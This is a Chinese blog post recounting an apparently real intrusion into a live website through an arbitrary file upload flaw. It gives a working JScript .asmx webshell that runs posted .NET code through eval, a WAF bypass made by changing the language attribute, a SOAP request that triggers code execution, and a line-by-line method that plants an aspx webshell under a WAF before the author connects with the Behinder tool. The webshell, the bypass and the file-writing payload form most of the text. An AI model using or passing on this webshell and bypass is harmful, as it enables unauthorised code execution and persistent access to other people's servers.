asmx webshell之旅

asmx webshell之旅

这是一次实战中的经历

遇到一个存在任意文件上传的上传点。但是网站有waf,带有恶意流量就会拦截。这个waf确实有点东西,base64和简单的替换字符都会被识别并且拦截。

尝试了一遍后缀名,发现只可以上传asmx文件,所以开始尝试能不能用asmx去getshell

发现了一个师傅的文章:https://www.jianshu.com/p/a189e0d1790b

通过构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@ WebService Language="JScript" class="asmxWebMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services;
public class asmxWebMethodSpy extends WebService
{
WebMethodAttribute function Invoke(Ivan: String) : Void
{
var I = HttpContext.Current;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");
eval(Ivan);
}
}

可以实现.net代码执行

在上传的时候就遇到了第一个问题,被waf拦截了,于是我部分删除来探测是哪条语句被waf识别,最终发现是

language=jscript 被识别。将他改成 language=javascript 就可以绕过这层waf。

成功上传以后访问会是如下页面

img

发送以下数据包会执行 .net 代码打印出时间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /UploadFiles/Content/file/xxx HTTP/1.1
Host: xxx.xxx.xxx
Content-Type: text/xml; charset=utf-8
Content-Length: 1771
SOAPAction: "http://tempuri.org/Invoke"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Invoke xmlns="http://tempuri.org/">
<Ivan>Response.Write(DateTime.Now);</Ivan>
</Invoke>
</soap:Body>
</soap:Envelope>

但这个地方是通过soap来传递参数,蚁剑和🔪是连接不了的。

而当传执行命令的代码时,果不其然又被拦截了,离谱的是连base64过后或者替换的都不行。

于是决定写一个webshell进去。

一开始想直接写进去,但是直接写果不其然也被拦了。然后尝试整个base,也不行。

最后我放弃了,决定一行一行的写进去,构造了一会,代码如下:

1
System.IO.File.WriteAllText("D:\\CDTRW\\UploadFiles\\Person\\8.aspx", System.IO.File.ReadAllText("D:\\CDTRW\\UploadFiles\\Person\\8.aspx")+"\n"+System.Text.Encoding.Default.GetString(System.Convert.FromBase64String('PCUKdmFyIGE9UmVxdWVzdC5Gb3JtKCJ4Iik7')));

直接 System.IO.File.WriteAllText 会覆写文件,用这行代码可以续写进文件。

直接访问还会报错说全局主题未定义,很难顶,添加如下代码即可

1
<% EnableTheming = "False" StylesheetTheme="" Theme="" %>

一开始写的蚁剑,连接被拦截,后来写了冰蝎总算是成了。

这是一个整整搞了一个下午的站 T_T


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!